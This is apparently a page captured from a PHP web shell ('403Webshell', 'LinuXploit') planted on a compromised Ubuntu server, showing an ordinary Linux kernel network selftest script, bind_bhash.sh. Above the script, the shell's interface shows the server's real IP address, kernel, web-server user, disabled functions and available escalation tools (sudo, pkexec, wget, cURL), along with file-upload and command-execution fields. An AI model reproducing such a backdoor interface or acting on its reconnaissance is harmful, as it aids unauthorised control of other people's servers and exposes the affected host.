403Webshell
Server IP : 13.213.54.232  /  Your IP : 216.73.216.72
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux ip-172-31-17-110 6.8.0-1029-aws #31~22.04.1-Ubuntu SMP Thu Apr 24 21:16:18 UTC 2025 x86_64
User : www-data ( 33)
PHP Version : 7.1.33-67+ubuntu22.04.1+deb.sury.org+1
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/self/root/lib/modules/6.8.0-1031-aws/build/tools/testing/selftests/net/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/lib/modules/6.8.0-1031-aws/build/tools/testing/selftests/net/bind_bhash.sh
#!/bin/bash
# SPDX-License-Identifier: GPL-2.0

NR_FILES=32768
readonly NETNS="ns-$(mktemp -u XXXXXX)"

# default values
port=443
addr_v6="2001:0db8:0:f101::1"
addr_v4="10.8.8.8"
use_v6=true
addr=""

usage() {
    echo "Usage: $0 [-6 | -4] [-p port] [-a address]"
    echo -e "\t6: use ipv6"
    echo -e "\t4: use ipv4"
    echo -e "\tport: Port number"
    echo -e "\taddress: ip address"
}

while getopts "ha:p:64" opt; do
    case ${opt} in
	h)
	    usage $0
	    exit 0
	    ;;
	a)  addr=$OPTARG;;
	p)
	    port=$OPTARG;;
	6)
	    use_v6=true;;
	4)
	    use_v6=false;;
    esac
done

setup() {
    ip netns add "${NETNS}"
    ip -netns "${NETNS}" link add veth0 type veth peer name veth1
    ip -netns "${NETNS}" link set lo up
    ip -netns "${NETNS}" link set veth0 up
    ip -netns "${NETNS}" link set veth1 up

    if [[ "$use_v6" == true ]]; then
        ip -netns "${NETNS}" addr add $addr_v6 nodad dev veth0
    else
        ip -netns "${NETNS}" addr add $addr_v4 dev lo
    fi
}

cleanup() {
    ip netns del "${NETNS}"
}

if [[ "$addr" != "" ]]; then
    addr_v4=$addr;
    addr_v6=$addr;
fi
setup
if [[ "$use_v6" == true ]] ; then
    ip netns exec "${NETNS}" sh -c \
        "ulimit -n ${NR_FILES};./bind_bhash ${port} ipv6 ${addr_v6}"
else
    ip netns exec "${NETNS}" sh -c \
        "ulimit -n ${NR_FILES};./bind_bhash ${port} ipv4 ${addr_v4}"
fi
cleanup

Youez - 2016 - github.com/yon3zu
LinuXploit